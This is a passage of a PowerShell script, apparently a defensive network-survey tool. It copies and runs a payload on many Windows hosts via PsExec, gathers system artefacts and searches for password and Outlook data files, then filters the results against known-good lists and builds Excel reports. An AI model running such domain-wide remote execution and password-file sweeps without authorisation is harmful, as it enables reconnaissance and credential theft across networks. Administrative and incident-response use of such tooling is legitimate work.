Add-Content "$TEMP_DIR\ErrorLog.csv" 2454 | 2455 | ExecutePSexec 2456 | CollectFiles 2457 | ProcessData 2458 | 2459 | if($scan.RemoteDataFile -eq "hashes392125281") 2460 | { 2461 | $scan.Data|out-file "$($scan.TEMP_DIR)\output.txt" 2462 | $scan.Data = $null 2463 | Release-Ref 2464 | $Script:csvHeader = "File Name,MD5 Hash" 2465 | $Script:outfile="UniqueFileHashes$script:ScanTime.csv" 2466 | ProcessData 2467 | } 2468 | } 2469 | 2470 | else 2471 | { 2472 | if (-not $noHosts) 2473 | { 2474 | $noHosts = $true 2475 | Write-Host -ForegroundColor Red "No hosts to scan" 2476 | } 2477 | } 2478 | } 2479 | #remove temp directory files. keep looping until all processes unlock files 2480 | while($true){ 2481 | try{ 2482 | Remove-Item -Recurse -Force "$TEMP_DIR/*" -ErrorAction Stop 2483 | break 2484 | } catch {sleep 3} 2485 | } 2486 | } 2487 | if($script:CleanUp) 2488 | { 2489 | Write-Host -ForegroundColor Yellow "Cleaning Up..." 2490 | RunScriptBlock $CleanUpSB $ActiveComputers $scan 2491 | $script:CleanUp = $false 2492 | } 2493 | 2494 | $script:ScanChoiceArray.Clear() 2495 | Write-Host 2496 | } 2497 | 2498 | ############################################ 2499 | # END Scan Functions 2500 | ############################################ 2501 | 2502 | 2503 | ############################################ 2504 | # START Functions for Deploy/Multi-threading 2505 | ############################################ 2506 | 2507 | Function RunScriptBlock #Create multiple threads to do work 2508 | { 2509 | param($ScriptBlock, $RemoteHosts, $scan) #Function parameters 2510 | 2511 | #create run space pool. Throttle is max number of threads to execute at once 2512 | $RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $scan.Throttle) 2513 | $RunspacePool.Open() 2514 | $Jobs = @() 2515 | 2516 | #iterate through hosts and start new powershell job for each host 2517 | $RemoteHosts | % { 2518 | 2519 | #add the scriptblock and parameters 2520 | $Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($_).AddArgument($scan) 2521 | $Job.RunspacePool = $RunspacePool 2522 | 2523 | $Jobs += New-Object PSObject -Property @{ 2524 | RunNum = $_ 2525 | Pipe = $Job 2526 | Result = $Job.BeginInvoke() 2527 | } 2528 | } 2529 | 2530 | #get results 2531 | $Results = @() 2532 | ForEach ($Job in $Jobs) 2533 | { 2534 | $Results += $Job.Pipe.EndInvoke($Job.Result) 2535 | } 2536 | 2537 | $Results 2538 | $RunspacePool.Dispose() 2539 | } 2540 | 2541 | Function ExecutePSexec #Copy and execute deployable payload 2542 | { 2543 | Write-Host -ForegroundColor Yellow "Executing payload on remote hosts" 2544 | $PSexecJob = Start-Job -ScriptBlock $PSexecWatcher 2545 | $Script:CollectComputers = RunScriptBlock $RemoteExec_SB $ActiveComputers $scan 2546 | Stop-Job $PSexecJob 2547 | Remove-Job $PSexecJob 2548 | } 2549 | 2550 | Function CollectFiles #Collect results from remote hosts 2551 | { 2552 | Write-Host -ForegroundColor Yellow "Collecting files from remote hosts" 2553 | RunScriptBlock $CollectFiles_SB $CollectComputers $scan 2554 | } 2555 | 2556 | Function ProcessData 2557 | { 2558 | if(-not (Test-Path "$TEMP_DIR\output.txt")) 2559 | { 2560 | Write-Host -ForegroundColor Red "No Data Returned 2561 | " 2562 | Return 2563 | } 2564 | if((Get-Content $TEMP_DIR\output.txt).count -lt 1000000) 2565 | { 2566 | ParseData $script:ScanChoiceArray[$i] $TEMP_DIR 2567 | FilterData $script:ScanChoiceArray[$i] 2568 | } 2569 | 2570 | else 2571 | { 2572 | Write-Host -ForegroundColor Yellow "Chunking data" 2573 | ChunkFiles 2574 | $Chunks = @(Get-ChildItem $TEMP_DIR | ?{$_.PSIsContainer} | %{[int] $_.Name}| sort) 2575 | $of = $outfile 2576 | foreach($chunk in $chunks) 2577 | { 2578 | $outfile = "$($of.split('.')[0])_$($chunk).$($of.split('.')[1])" 2579 | Write-Host -ForegroundColor Yellow "File chunk $($chunk)/$($Chunks.count)" 2580 | ParseData $script:ScanChoiceArray[$i] $TEMP_DIR\$chunk 2581 | FilterData $script:ScanChoiceArray[$i] 2582 | } 2583 | } 2584 | } 2585 | 2586 | Function ParseData 2587 | { 2588 | param($ScanChoice, $DataDirectory) 2589 | Write-Host -ForegroundColor Yellow "Parsing collected data" 2590 | 2591 | #set variables for different generated files 2592 | $script:Results = "$DataDirectory\$OutFile" 2593 | if($OutputFormat -eq "csv") 2594 | { 2595 | $OutBase = $OutFile.Split('.')[0] 2596 | $script:ResultsUnique = "$DataDirectory\${OutBase}_Unique.csv" 2597 | $script:ResultsFiltered = "$DataDirectory\${OutBase}_Filtered.csv" 2598 | $script:ResultsUniqFilt = "$DataDirectory\${OutBase}_Filtered_Unique.csv" 2599 | $script:Errors = "$DataDirectory\${OutBase}_ErrorLog.csv" 2600 | } 2601 | else 2602 | { 2603 | $script:ResultsUnique = "$DataDirectory\Unique.csv" 2604 | $script:ResultsFiltered = "$DataDirectory\Filtered.csv" 2605 | $script:ResultsUniqFilt = "$DataDirectory\Filtered_Unique.csv" 2606 | $script:Errors = "$DataDirectory\ErrorLog.csv" 2607 | } 2608 | 2609 | if((Test-Path $script:Errors) -and @(Get-Content $script:Errors).count -eq 1) 2610 | { 2611 | Remove-Item $script:Errors 2612 | } 2613 | 2614 | #Add column headers to files 2615 | $csvHeader|Add-Content $Results 2616 | 2617 | #Append each data file to $results. 2618 | foreach ($file in (Get-ChildItem "$DataDirectory\" -Exclude "$OutFile", "ErrorLog.csv", "Scanned_Hosts*.csv" -Name)) 2619 | { 2620 | #wait for file to unlock 2621 | for($i=0; $i -lt 10; $i++) 2622 | { 2623 | try { 2624 | #only add lines that contain data to $Results 2625 | Get-Content "$DataDirectory\$file" -ErrorAction Stop | where {$_} | Add-Content "$Results" -ErrorAction Stop 2626 | break 2627 | } catch { 2628 | start-sleep -Seconds 3 2629 | } 2630 | } 2631 | } 2632 | } 2633 | 2634 | #Create a count of unique data 2635 | Function UniqueFilter 2636 | { 2637 | $data|group|Select count,name| 2638 | sort -property count -descending|%{ 2639 | "$($_.count),$($_.Name)" } 2640 | } 2641 | 2642 | Function FilterKnownGood 2643 | { 2644 | $csvHeader |Add-Content $ResultsFiltered 2645 | ($Content|select -skip 1)|Select-String -NotMatch -SimpleMatch -Pattern $filter |Add-Content $ResultsFiltered 2646 | } 2647 | 2648 | Function FilterData 2649 | { 2650 | param($ScanChoice,$NotDeploy) 2651 | 2652 | $Content = Get-Content $Results -ReadCount 0 2653 | switch($ScanChoice) 2654 | { 2655 | 1{ 2656 | $filter = Get-Content $KnownGood.UserExe | Where{$_} 2657 | 2658 | #Unique results 2659 | "Count,Executable"|Add-Content $ResultsUnique 2660 | $data = ($Content|select -skip 1)|%{$_.split(",")[1]} 2661 | UniqueFilter | Add-Content $ResultsUnique 2662 | 2663 | #Filtered Results 2664 | if($filter) 2665 | { 2666 | FilterKnownGood 2667 | 2668 | #Unique filtered results 2669 | $data = (Get-Content $ResultsFiltered |select -skip 1)|%{$_.split(",")[1]} 2670 | if($data) 2671 | { 2672 | "Count,Executable"|Add-Content $ResultsUniqFilt 2673 | UniqueFilter | Add-Content $ResultsUniqFilt 2674 | } 2675 | } 2676 | } 2677 | 2{ 2678 | $filter = Get-Content $KnownGood.USB | Where{$_} 2679 | 2680 | #Unique results 2681 | "Count,Registry Key"|Add-Content $ResultsUnique 2682 | $data = ($Content|select -skip 1)|%{$_.split(",")[3]} 2683 | UniqueFilter | Add-Content $ResultsUnique 2684 | 2685 | #Filtered Results 2686 | if($filter) 2687 | { 2688 | FilterKnownGood 2689 | 2690 | #Unique filtered results 2691 | $data = (Get-Content $ResultsFiltered |select -skip 1)|%{$_.split(",")[3]} 2692 | if($data) 2693 | { 2694 | "Count,Device"|Add-Content $ResultsUniqFilt 2695 | UniqueFilter | Add-Content $ResultsUniqFilt 2696 | } 2697 | } 2698 | } 2699 | 4{ 2700 | $filter = Get-Content $KnownGood.StartUpProg | Where{$_} 2701 | 2702 | #Unique results 2703 | "Count,Command"|Add-Content $ResultsUnique 2704 | $data = ($Content|select -skip 1)|%{$_.split(",")[1]} 2705 | UniqueFilter | Add-Content $ResultsUnique 2706 | 2707 | #Filtered Results 2708 | if($filter) 2709 | { 2710 | FilterKnownGood 2711 | #Unique filtered results 2712 | $data = (Get-Content $ResultsFiltered |select -skip 1)|%{$_.split(",")[1]} 2713 | if($data) 2714 | { 2715 | "Count,Command"|Add-Content $ResultsUniqFilt 2716 | UniqueFilter | Add-Content $ResultsUniqFilt 2717 | } 2718 | } 2719 | } 2720 | 2721 | 5{ 2722 | $filter = Get-Content $KnownGood.SchedTasks | Where{$_} 2723 | 2724 | #Unique results 2725 | "Count,Command"|Add-Content $ResultsUnique 2726 | $data = ($Content|select -skip 1)|%{$_.split(",")[1]} 2727 | UniqueFilter | Add-Content $ResultsUnique 2728 | 2729 | #Filtered Results 2730 | if($filter) 2731 | { 2732 | FilterKnownGood 2733 | #Unique filtered results 2734 | $data = (Get-Content $ResultsFiltered |select -skip 1)|%{$_.split(",")[1]} 2735 | if($data) 2736 | { 2737 | "Count,Command"|Add-Content $ResultsUniqFilt 2738 | UniqueFilter | Add-Content $ResultsUniqFilt 2739 | } 2740 | } 2741 | } 2742 | 6{ 2743 | $filter = Get-Content $KnownGood.RunningProcs | Where{$_} 2744 | 2745 | #Unique results 2746 | "Count,Executable,Path"|Add-Content $ResultsUnique 2747 | $data = ($Content|select -skip 1)|%{"$($_.split(",")[2]),$($_.split(",")[1])"} 2748 | UniqueFilter | Add-Content $ResultsUnique 2749 | 2750 | #Filtered Results 2751 | if($filter) 2752 | { 2753 | FilterKnownGood 2754 | #Unique filtered results 2755 | $data = (Get-Content $ResultsFiltered |select -skip 1)|%{"$($_.split(",")[2]),$($_.split(",")[1])"} 2756 | if($data) 2757 | { 2758 | "Count,Executable,Path"|Add-Content $ResultsUniqFilt 2759 | UniqueFilter | Add-Content $ResultsUniqFilt 2760 | } 2761 | } 2762 | } 2763 | 7{ 2764 | $filter = Get-Content $KnownGood.Drivers | Where{$_} 2765 | 2766 | #Unique results 2767 | "Count,Driver Name"|Add-Content $ResultsUnique 2768 | $data = ($Content|select -skip 1)|%{$_.split(",")[3]} 2769 | UniqueFilter | Add-Content $ResultsUnique 2770 | 2771 | #Filtered Results 2772 | if($filter) 2773 | { 2774 | FilterKnownGood 2775 | #Unique filtered results 2776 | $data = (Get-Content $ResultsFiltered |select -skip 1)|%{$_.split(",")[3]} 2777 | if($data) 2778 | { 2779 | "Count,Driver Name"|Add-Content $ResultsUniqFilt 2780 | UniqueFilter | Add-Content $ResultsUniqFilt 2781 | } 2782 | } 2783 | } 2784 | 8{ 2785 | $filter = Get-Content $KnownGood.Services | Where{$_} 2786 | 2787 | #Unique results 2788 | "Count,Service Name"|Add-Content $ResultsUnique 2789 | $data = ($Content|select -skip 1)|%{$_.split(",")[1]} 2790 | UniqueFilter | Add-Content $ResultsUnique 2791 | 2792 | #Filtered Results 2793 | if($filter) 2794 | { 2795 | FilterKnownGood 2796 | #Unique filtered results 2797 | $data = (Get-Content $ResultsFiltered|select -skip 1)|%{$_.split(",")[1]} 2798 | if($data) 2799 | { 2800 | "Count,Command"|Add-Content $ResultsUniqFilt 2801 | UniqueFilter | Add-Content $ResultsUniqFilt 2802 | } 2803 | } 2804 | } 2805 | 10{ 2806 | $filter = Get-Content $KnownGood.Software | Where{$_} 2807 | 2808 | #Unique results 2809 | "Count,Software Name"|Add-Content $ResultsUnique 2810 | $data = ($Content|select -skip 1)|%{$_.split(",")[3]} 2811 | UniqueFilter | Add-Content $ResultsUnique 2812 | 2813 | #Filtered Results 2814 | if($filter) 2815 | { 2816 | FilterKnownGood 2817 | #Unique filtered results 2818 | $data = (Get-Content $ResultsFiltered |select -skip 1)|%{$_.split(",")[3]} 2819 | if($data) 2820 | { 2821 | "Count,Software Name"|Add-Content $ResultsUniqFilt 2822 | UniqueFilter | Add-Content $ResultsUniqFilt 2823 | } 2824 | } 2825 | } 2826 | 16{ 2827 | $filter = Get-Content $KnownGood.HotFix | Where{$_} 2828 | 2829 | "Count,HotFixID"|Add-Content $ResultsUnique 2830 | $data = ($Content|select -skip 1)|%{$_.split(",")[2]} 2831 | UniqueFilter | Add-Content $ResultsUnique 2832 | 2833 | #Filtered Results 2834 | if($filter) 2835 | { 2836 | "Host Name,OS Version Number,Missing Hot-Fix"|Add-Content $ResultsFiltered 2837 | 2838 | #Get hosts names from hot fix scan 2839 | $data = ($Content|select -skip 1)|%{$_.split(",")[0]} 2840 | 2841 | #for each host name find hot fixes that are NOT installed 2842 | UniqueFilter | %{ 2843 | $HostName = $_.split(",")[1] 2844 | $HostVersion = $script:ActiveComputers|%{$_|select-String $HostName} 2845 | if($HostVersion) 2846 | { 2847 | $HostVersion = $HostVersion.tostring().split(",")[2] 2848 | $filter |where{$_}|%{ 2849 | 2850 | #Version included in filter list should be major version (i.e. 6.1) 2851 | if($_.split(",").count -gt 1){ 2852 | $FilterVer = $_.split(",")[0] 2853 | $FilterHotFix = $_.split(",")[1] 2854 | 2855 | #Make sure host OS version matches filter 2856 | if($HostVersion|Select-String $FilterVer) { 2857 | #Check to see that host does NOT match the HotFixID 2858 | if (-not ($Content | Select-String $HostName | Select-String $FilterHotFix)) 2859 | { 2860 | "$HostName,$HostVersion,$($_.split(",")[1])"|Add-Content $ResultsFiltered 2861 | } 2862 | } 2863 | } 2864 | 2865 | #Filter item is only a hotfixID 2866 | else 2867 | { 2868 | if (-not ($Content | Select-String $HostName | Select-String "$_")) 2869 | { 2870 | "$HostName,$HostVersion,$_"|Add-Content $ResultsFiltered 2871 | } 2872 | } 2873 | } 2874 | } 2875 | } 2876 | } 2877 | } 2878 | 101{ 2879 | $filter = Get-Content $KnownGood.ImageFiles | Where{$_} 2880 | 2881 | if($NotDeploy){$i=0} 2882 | else{$i=1} 2883 | $data = ($Content|select -skip 1) |%{$_.split(",")[$i]} 2884 | 2885 | if($data) 2886 | { 2887 | "Count,File Name"|Add-Content $ResultsUnique 2888 | UniqueFilter | Add-Content $ResultsUnique 2889 | } 2890 | 2891 | #Filtered Results 2892 | if($filter) 2893 | { 2894 | FilterKnownGood 2895 | #Unique filtered results 2896 | $data = (Get-Content $ResultsFiltered|select -skip 1)|%{$_.split(",")[$i]} 2897 | if($data) 2898 | { 2899 | "Count,File Name"|Add-Content $ResultsUniqFilt 2900 | UniqueFilter | Add-Content $ResultsUniqFilt 2901 | } 2902 | } 2903 | } 2904 | 102{ 2905 | $filter = Get-Content $KnownGood.AudioFiles | Where{$_} 2906 | 2907 | if($NotDeploy){$i=0} 2908 | else{$i=1} 2909 | $data = ($Content|select -skip 1) |%{$_.split(",")[$i]} 2910 | 2911 | if($data) 2912 | { 2913 | "Count,File Name"|Add-Content $ResultsUnique 2914 | UniqueFilter | Add-Content $ResultsUnique 2915 | } 2916 | 2917 | #Filtered Results 2918 | if($filter) 2919 | { 2920 | FilterKnownGood 2921 | #Unique filtered results 2922 | $data = (Get-Content $ResultsFiltered|select -skip 1)|%{$_.split(",")[$i]} 2923 | if($data) 2924 | { 2925 | "Count,File Name"|Add-Content $ResultsUniqFilt 2926 | UniqueFilter | Add-Content $ResultsUniqFilt 2927 | } 2928 | } 2929 | } 2930 | 103{ 2931 | $filter = Get-Content $KnownGood.VideoFiles | Where{$_} 2932 | 2933 | if($NotDeploy){$i=0} 2934 | else{$i=1} 2935 | $data = ($Content|select -skip 1) |%{$_.split(",")[$i]} 2936 | 2937 | if($data) 2938 | { 2939 | "Count,File Name"|Add-Content $ResultsUnique 2940 | UniqueFilter | Add-Content $ResultsUnique 2941 | } 2942 | 2943 | #Filtered Results 2944 | if($filter) 2945 | { 2946 | FilterKnownGood 2947 | #Unique filtered results 2948 | $data = (Get-Content $ResultsFiltered|select -skip 1)|%{$_.split(",")[$i]} 2949 | if($data) 2950 | { 2951 | "Count,File Name"|Add-Content $ResultsUniqFilt 2952 | UniqueFilter | Add-Content $ResultsUniqFilt 2953 | } 2954 | } 2955 | } 2956 | 104{ 2957 | $filter = Get-Content $KnownGood.WindowsScriptFiles | Where{$_} 2958 | 2959 | if($NotDeploy){$i=0} 2960 | else{$i=1} 2961 | $data = ($Content|select -skip 1) |%{$_.split(",")[$i]} 2962 | 2963 | if($data) 2964 | { 2965 | "Count,File Name"|Add-Content $ResultsUnique 2966 | UniqueFilter | Add-Content $ResultsUnique 2967 | } 2968 | 2969 | #Filtered Results 2970 | if($filter) 2971 | { 2972 | FilterKnownGood 2973 | #Unique filtered results 2974 | $data = (Get-Content $ResultsFiltered|select -skip 1)|%{$_.split(",")[$i]} 2975 | if($data) 2976 | { 2977 | "Count,File Name"|Add-Content $ResultsUniqFilt 2978 | UniqueFilter | Add-Content $ResultsUniqFilt 2979 | } 2980 | } 2981 | } 2982 | 105{ 2983 | $filter = Get-Content $KnownGood.ExecutableFiles | Where{$_} 2984 | 2985 | if($NotDeploy){$i=0;$j=1} 2986 | else{$i=1;$j=2} 2987 | $data = ($Content|select -skip 1)|%{"$($_.split(",")[$i]),$($_.split(",")[$j])"} 2988 | 2989 | if($data) 2990 | { 2991 | "Count,File Name,Path"|Add-Content $ResultsUnique 2992 | UniqueFilter | Add-Content $ResultsUnique 2993 | } 2994 | 2995 | #Filtered Results 2996 | if($filter) 2997 | { 2998 | FilterKnownGood 2999 | #Unique filtered results 3000 | $data = (Get-Content $ResultsFiltered|select -skip 1)|%{"$($_.split(",")[$i]),$($_.split(",")[$j])"} 3001 | if($data) 3002 | { 3003 | "Count,File Name,Path"|Add-Content $ResultsUniqFilt 3004 | UniqueFilter | Add-Content $ResultsUniqFilt 3005 | } 3006 | } 3007 | } 3008 | 106{ 3009 | $filter = Get-Content $KnownGood.OutlookDataFiles | Where{$_} 3010 | 3011 | if($NotDeploy){$i=0} 3012 | else{$i=1} 3013 | $data = ($Content|select -skip 1) |%{$_.split(",")[$i]} 3014 | 3015 | if($data) 3016 | { 3017 | "Count,File Name"|Add-Content $ResultsUnique 3018 | UniqueFilter | Add-Content $ResultsUnique 3019 | } 3020 | 3021 | #Filtered Results 3022 | if($filter) 3023 | { 3024 | FilterKnownGood 3025 | #Unique filtered results 3026 | $data = (Get-Content $ResultsFiltered|select -skip 1)|%{$_.split(",")[1]} 3027 | if($data) 3028 | { 3029 | "Count,File Name"|Add-Content $ResultsUniqFilt 3030 | UniqueFilter | Add-Content $ResultsUniqFilt 3031 | } 3032 | } 3033 | } 3034 | 107{ 3035 | $filter = Get-Content $KnownGood.PasswordFiles | Where{$_} 3036 | 3037 | if($NotDeploy){ 3038 | $data = ($Content|select -skip 1) |%{$_.split(",")[0]} 3039 | } 3040 | else{ 3041 | $data = ($Content|select -skip 1) |%{$_.split(",")[1]} 3042 | } 3043 | 3044 | if($data) 3045 | { 3046 | "Count,File Name"|Add-Content $ResultsUnique 3047 | UniqueFilter | Add-Content $ResultsUnique 3048 | } 3049 | 3050 | #Filtered Results 3051 | if($filter) 3052 | { 3053 | FilterKnownGood 3054 | #Unique filtered results 3055 | $data = (Get-Content $ResultsFiltered|select -skip 1)|%{$_.split(",")[1]} 3056 | if($data) 3057 | { 3058 | "Count,File Name"|Add-Content $ResultsUniqFilt 3059 | UniqueFilter | Add-Content $ResultsUniqFilt 3060 | } 3061 | } 3062 | } 3063 | 111{ 3064 | $filter = Get-Content $KnownGood.FileHashes | Where{$_} 3065 | 3066 | $data = ($Content|select -skip 1) |%{"$($_.split(",")[1]),$($_.split(",")[3])"} 3067 | if($data) 3068 | { 3069 | "Count,File Name,MD5 Hash"|Add-Content $ResultsUnique 3070 | UniqueFilter | Add-Content $ResultsUnique 3071 | } 3072 | 3073 | #Filtered Results 3074 | if($filter) 3075 | { 3076 | FilterKnownGood 3077 | #Unique filtered results 3078 | $data = (Get-Content $ResultsFiltered|select -skip 1)|%{"$($_.split(",")[1]),$($_.split(",")[3])"} 3079 | if($data) 3080 | { 3081 | "Count,File Name,MD5 Hash"|Add-Content $ResultsUniqFilt 3082 | UniqueFilter | Add-Content $ResultsUniqFilt 3083 | } 3084 | } 3085 | } 3086 | } 3087 | 3088 | $ConvertFiles = $Errors, $ResultsUniqFilt, $ResultsFiltered, $ResultsUnique, $Results 3089 | ConvertFileFormat $ConvertFiles 3090 | } 3091 | 3092 | Function Release-Ref 3093 | { 3094 | param($ref) 3095 | 3096 | if($ref) 3097 | { 3098 | ([System.Runtime.InteropServices.Marshal]::ReleaseComObject([System.__ComObject]$ref) -gt 0) 3099 | } 3100 | [System.GC]::Collect() 3101 | [System.GC]::WaitForPendingFinalizers() 3102 | } 3103 | 3104 | Function ConvertFileFormat 3105 | { 3106 | param($FileNames, $ScannedHosts) 3107 | 3108 | #If CSV just move files. No conversion required 3109 | if($OutputFormat -eq "csv") 3110 | { 3111 | if($ScannedHosts) 3112 | { 3113 | Move-Item -Path "$TEMP_DIR\Scanned_Hosts*csv" -Destination "$OUT_DIR\" 3114 | } 3115 | else 3116 | { 3117 | if(Test-Path "$TEMP_DIR\*csv") 3118 | { 3119 | if(Test-Path "$TEMP_DIR\ErrorLog.csv") 3120 | { 3121 | $ErrorFile = $outfile.split('.')[0] 3122 | Move-Item -Path "$TEMP_DIR\ErrorLog.csv" -Destination "$OUT_DIR\${ErrorFile}_errors.csv" 3123 | } 3124 | Move-Item -Path "$TEMP_DIR\*csv" -Destination "$OUT_DIR\" 3125 | } 3126 | if($outfile -match 'DomainAccounts'){$outfile = $null} 3127 | Write-Host -ForegroundColor Green "Data located at $OUT_DIR\$outfile 3128 | " 3129 | } 3130 | Return 3131 | } 3132 | 3133 | if(-not $ScannedHosts) #don't write converting file format when scanned hosts file is created 3134 | { 3135 | Write-Host -ForegroundColor Yellow "Converting file format" 3136 | } 3137 | 3138 | #Create a microsoft excel object and default to CSV on failure 3139 | try { 3140 | $excel = New-Object -ComObject Excel.Application -ErrorAction Stop 3141 | } catch { 3142 | Write-Host -ForegroundColor Red "Failed to create Excel object. Defaulting to CSV" 3143 | $script:OutputFormat = "CSV" 3144 | 3145 | if($ScannedHosts) 3146 | { 3147 | Move-Item -Path "$TEMP_DIR\Scanned_Hosts*csv" -Destination "$OUT_DIR\" 3148 | } 3149 | else 3150 | { 3151 | if(Test-Path "$TEMP_DIR\$outfile") 3152 | { 3153 | Move-Item -Path "$TEMP_DIR\$outfile" -Destination "$OUT_DIR\" 3154 | } 3155 | Write-Host -ForegroundColor Green "Data located at $OUT_DIR\$outfile" 3156 | } 3157 | Return 3158 | } 3159 | 3160 | if (-not (Test-Path "$OUT_DIR\CSV")) #verify/create directory for converted CSV files 3161 | { 3162 | mkdir "$OUT_DIR\CSV" |Out-Null 3163 | } 3164 | 3165 | #set excel to invisible 3166 | $excel.Visible = $false 3167 | 3168 | #Add workbook 3169 | $workbook = $excel.workbooks.Add() 3170 | 3171 | #Remove other worksheets 3172 | $workbook.worksheets.Item(2).delete() 3173 | 3174 | #After the first worksheet is removed,the next one takes its place 3175 | $workbook.worksheets.Item(2).delete() 3176 | 3177 | $outputFile = $outfile.split(".")[0] 3178 | 3179 | $i=1 3180 | foreach ($CSV in $FileNames) 3181 | { 3182 | if(-not (Test-Path "$CSV")){continue} 3183 | $File = (Get-ChildItem $CSV).BaseName 3184 | 3185 | #If more than one file, create another worksheet for each file 3186 | If ($i -gt 1) { 3187 | $workbook.worksheets.Add() | Out-Null 3188 | } 3189 | 3190 | #Use the first worksheet in the workbook (also the newest created worksheet is always 1) 3191 | $worksheet = $workbook.worksheets.Item(1) 3192 | 3193 | #Add name of CSV as worksheet name 3194 | if(-not ($outfile -match "DomainAccounts")) 3195 | { 3196 | $worksheet.name = $($File.split("012")[0]) 3197 | } 3198 | else 3199 | { 3200 | if($file -match '30'){$worksheet.name = '30DaysStale'} 3201 | elseif($file -match '45'){$worksheet.name = '45DaysStale'} 3202 | else {$worksheet.name = 'NoPassExpOrCLO'} 3203 | } 3204 | 3205 | 3206 | #Define the connection string and where the data is supposed to go 3207 | $TxtConnector = ("TEXT;" + (Get-Item $CSV).FullName) 3208 | $CellRef = $worksheet.Range("A1") 3209 | 3210 | #Build, use and remove the text file connector 3211 | $Connector = $worksheet.QueryTables.add($TxtConnector,$CellRef) 3212 | $worksheet.QueryTables.item($Connector.name).TextFileCommaDelimiter = $True 3213 | $worksheet.QueryTables.item($Connector.name).TextFileParseType = 1 3214 | $worksheet.QueryTables.item($Connector.name).Refresh() | out-null 3215 | $worksheet.QueryTables.item($Connector.name).delete() | out-null 3216 | 3217 | #Autofit the columns 3218 | $worksheet.UsedRange.EntireColumn.AutoFit() | out-null 3219 | 3220 | #Freeze first row 3221 | $workSheet.Activate(); 3222 | $workSheet.Application.ActiveWindow.SplitRow = 1; 3223 | $workSheet.Application.ActiveWindow.FreezePanes = $true 3224 | 3225 | #Apply autofilter 3226 | $worksheet.usedrange.autofilter(1, [Type]::Missing) | Out-Null 3227 | 3228 | #Bold column Headers 3229 | $worksheet.cells.item(1,1).EntireRow.Font.Bold = $true 3230 | 3231 | $i++ 3232 | } 3233 | 3234 | switch($OutputFormat) 3235 | { 3236 | #File Extension ".xlsb" --> XlFileFormat= 50 3237 | #File Extension".xlsx" --> XlFileFormat= 51 3238 | #File Extension".xlsm" --> XlFileFormat= 52 3239 | #File Extension".xls" --> XlFileFormat= 56 3240 | #File Extension".csv" --> XlFileFormat= 6 3241 | #File Extension".txt" --> XlFileFormat= -4158 3242 | #File Extension ".prn" --> XlFileFormat= 36 3243 | #Link below shows all file format options 3244 | #https://msdn.microsoft.com/en-us/library/office/ff198017.aspx 3245 | 3246 | "xlsb"{ 3247 | $workbook.SaveAs("$OUT_DIR\${outputFile}.xlsb",50) 3248 | $out = "$OUT_DIR\${outputFile}.xlsb" 3249 | } 3250 | "xlsx"{ 3251 | $workbook.SaveAs("$OUT_DIR\${outputFile}.xlsx",51) 3252 | $out = "$OUT_DIR\${outputFile}.xlsx" 3253 | } 3254 | "xls"{ 3255 | $workbook.SaveAs("$OUT_DIR\${outputFile}.xls",56) 3256 | $out = "$OUT_DIR\${outputFile}.xls" 3257 | } 3258 | } 3259 | 3260 | for($i=0; $i -lt 15; $i++) #move CSV data files to CSV folder 3261 | { 3262 | try { 3263 | if ($ScannedHosts) {Move-Item "$TEMP_DIR\$Scanned_Hosts*.csv" "$OUT_DIR\CSV" -Force -ErrorAction Stop} 3264 | else {Move-Item -Path "$TEMP_DIR\*.csv" -Destination "$OUT_DIR\CSV" -Force -ErrorAction Stop} 3265 | break 3266 | } catch { 3267 | sleep 1 3268 | } 3269 | } 3270 | 3271 | $excel.Quit() 3272 | 3273 | #Release processes for Excel 3274 | $a = Release-Ref($worksheet) 3275 | $a = Release-Ref($workbook) 3276 | 3277 | 3278 | if(-not $ScannedHosts) 3279 | { 3280 | Write-Host -ForegroundColor Green "Data located at $out 3281 | " 3282 | } 3283 | } 3284 | 3285 | Function ChunkFiles 3286 | { 3287 | $end = (Get-Content $TEMP_DIR\output.txt).count 3288 | $inc = 10000000 3289 | $c = 1 3290 | for($i=0; $i -le $end; $i+=$inc) 3291 | { 3292 | mkdir $TEMP_DIR\$c | Out-Null 3293 | if(Test-Path "$TEMP_DIR\errorlog.csv") 3294 | { 3295 | Move-Item "$TEMP_DIR\errorlog.csv" "$TEMP_DIR\$c\errorlog.csv" 3296 | } 3297 | (Get-Content $TEMP_DIR\output.txt -ReadCount 0)[$i..($inc * $c)]|Out-File "$TEMP_DIR\$c\output.txt" 3298 | $c++ 3299 | } 3300 | } 3301 | 3302 | ############################################ 3303 | # END Functions for Deploy/Multi-threading 3304 | ############################################ 3305 | 3306 | 3307 | ############################################ 3308 | # START Multi-threading script blocks 3309 | ############################################ 3310 | 3311 | [ScriptBlock] $GetComputersSB = { 3312 | 3313 | param($RHost, $scan) 3314 | 3315 | Function VerifyIP 3316 | { 3317 | param($IP) 3318 | 3319 | $Octets = $IP.split(".") 3320 | if($Octets.count -ne 4){Return $false} 3321 | 3322 | for($i=0; $i -lt 4; $i++) 3323 | { 3324 | if($Octets[$i] -match "[0-9]" -and $Octets[$i] -notmatch "[a-zA-Z]") 3325 | { 3326 | $num = [convert]::ToInt32($Octets[$i], 10) 3327 | if(-not (($num -le 255) -and ($num -ge 0))) 3328 | { 3329 | Return $false 3330 | } 3331 | } 3332 | else 3333 | { 3334 | Return $false 3335 | } 3336 | } 3337 | Return $true 3338 | } 3339 | 3340 | $Hostname = $RHost.split(",")[0] #in case file is hostname, os,version number csv grab only the hostname 3341 | 3342 | if(VerifyIP $Hostname) #If true Host name is an IP address 3343 | { 3344 | $HostIP = $Hostname 3345 | $Hostname = ([System.Net.Dns]::GetHostEntry("$HostIP")).Hostname 3346 | if( VerifyIP $Hostname) #Reverse DNS failed 3347 | { 3348 | Return "$HostIP" #Return IP 3349 | } 3350 | else 3351 | { 3352 | $Hostname = $Hostname.split(".")[0] 3353 | } 3354 | } 3355 | 3356 | if($Scan.DomainName) 3357 | { 3358 | 3359 | $Search = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://$($scan.DomainName)") 3360 | $Search.filter = "(&(name=$Hostname)(objectCategory=computer))" 3361 | $HostData = $Search.FindOne() 3362 | 3363 | if($HostData) 3364 | { 3365 | $HostData.GetDirectoryEntry()|%{ 3366 | $name=$_.name 3367 | $os=$_.OperatingSystem 3368 | $ver=$_.OperatingSystemVersion 3369 | Return "$name,$os,$ver" | Select-String "Windows" 3370 | } 3371 | } 3372 | } 3373 | 3374 | else #Don't use Active Directory. Return IP 3375 | { 3376 | $HostIP = @(([System.Net.Dns]::GetHostEntry("$Hostname")).addresslist|%{ 3377 | IF($_.AddressFamily -eq 'InterNetwork') 3378 | { 3379 | $_.IPAddressToString 3380 | } 3381 | }) 3382 | 3383 | 